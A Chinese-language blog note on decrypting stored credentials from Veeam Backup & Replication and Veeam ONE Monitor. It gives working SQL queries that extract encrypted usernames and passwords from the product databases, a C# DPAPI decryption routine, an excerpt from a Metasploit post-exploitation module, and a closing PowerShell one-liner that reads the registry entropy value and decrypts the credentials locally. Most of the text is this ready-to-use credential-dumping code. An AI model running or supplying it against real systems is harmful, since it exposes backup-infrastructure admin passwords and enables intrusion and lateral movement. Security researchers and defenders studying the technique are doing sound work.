Veeam-小记
Veeam
致谢:
由上边两篇源码,一篇原理,我们了解Veeam 加密逻辑,通过DPAPI加密凭证。
什么是DPAPI
Data Protection Application Programming Interface is a simple cryptographic application programming interface available as a built-in component in Windows 2000 and later versions of Microsoft Windows operating systems
书归正传
代码示例1:
获取加密得凭证
1
SELECT user_name, password FROM VeeamBackup.dbo.Credentials
代码示例2:
解密核心逻辑
出处:learn.microsoft.com/zh-cn/dotnet/standard/security/how-to-use-da…
1
2
3
4
5
6
7
8
9
10
11
12
13
14static string DecryptPassword(string encryptedPassword)
{
try
{
byte[] encryptedbytePassword = Convert.FromBase64String(encryptedPassword);
byte[] decryptedData = ProtectedData.Unprotect(encryptedbytePassword, null, DataProtectionScope.LocalMachine);
return Encoding.Default.GetString(decryptedData);
}
catch (Exception ex)
{
Console.WriteLine($"Error decrypting password: {ex.Message}");
return string.Empty;
}
}
环境不可用
从msf 官方发现了一个post 后渗透插件
github.com/rapid7/metasploit-framework/blob/master//modules/post…
通过阅读代码Veeam版本分为 :
- Veeam Backup & Replication
- Veeam ONE Monitor
代码示例1:
获取加密凭证
1
SELECT user_name,password FROM monitor.Credentials
代码示例2:
1
2
3
4# Veeam ONE switched from weaksauce PBKDF2 to DPAPI with static entropy between 11.0.0 and 11.0.1
# DPAPI is in use if there is an an "Entropy" value under HKLM:\SOFTWARE\Veeam\Veeam ONE\Private\
if !@vom_entropy_b64.nil? && !@vom_entropy_b64.empty? # New-style (DPAPI)
cmd_str = "Add-Type -AssemblyName System.Security;[Text.Encoding]::Unicode.GetString([Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String('#{b64}'),[Convert]::FromBase64String('#{@vom_entropy_b64}'), 'LocalMachine'))"从代码中,我们可以看到,和之前代码逻辑想比,Veeam One Monitor 版本加密,将注册表中
HKLM:\SOFTWARE\Veeam\Veeam ONE\Private\
的二进制值,传入该解密方法中。那么我们跟进一下代码
两段代码同时都调用了微软官方的这个接口
我们来看核心函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20/// <summary>Decrypts the data in a specified byte array and returns a byte array that contains the decrypted data.</summary>
/// <param name="encryptedData">A byte array containing data encrypted using the <see cref="M:System.Security.Cryptography.ProtectedData.Protect(System.Byte[],System.Byte[],System.Security.Cryptography.DataProtectionScope)" /> method.</param>
/// <param name="optionalEntropy">An optional additional byte array that was used to encrypt the data, or <see langword="null" /> if the additional byte array was not used.</param>
/// <param name="scope">One of the enumeration values that specifies the scope of data protection that was used to encrypt the data.</param>
/// <exception cref="T:System.ArgumentNullException">The <paramref name="encryptedData" /> parameter is <see langword="null" />.</exception>
/// <exception cref="T:System.Security.Cryptography.CryptographicException">The decryption failed.</exception>
/// <exception cref="T:System.NotSupportedException">The operating system does not support this method.</exception>
/// <exception cref="T:System.OutOfMemoryException">Out of memory.</exception>
/// <exception cref="T:System.PlatformNotSupportedException">.NET Core and .NET 5+ only: Calls to the <c>Unprotect</c> method are supported on Windows operating systems only.</exception>
/// <returns>A byte array representing the decrypted data.</returns>
public static byte[] Unprotect(
byte[] encryptedData,
byte[]? optionalEntropy,
DataProtectionScope scope)
{
ProtectedData.CheckPlatformSupport();
if (encryptedData == null)
throw new ArgumentNullException(nameof (encryptedData));
return ProtectedData.ProtectOrUnprotect(encryptedData, optionalEntropy, scope, false);
}函数作用:Decrypts the data in a specified byte array and returns a byte array that contains the decrypted data.
第一个参数,byte[] 的加密数据
第二个参数: 解密指定字节数组中的数据,并返回包含解密数据的字节数组。
第三个参数: 指定用于加密数据的数据保护范围的枚举值之一。
返回是解密的数据byte[] 数组
落地代码
本地解密
1
2
3$data = "<crypted data>"
$key = [Convert]::ToBase64String((Get-ItemPropertyValue -Path 'HKLM:\\SOFTWARE\\Veeam\\Veeam ONE\\Private\\' -Name Entropy))
Add-Type -AssemblyName System.Security;[Text.Encoding]::Unicode.GetString([Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String($data),[Convert]::FromBase64String($key), 'LocalMachine'))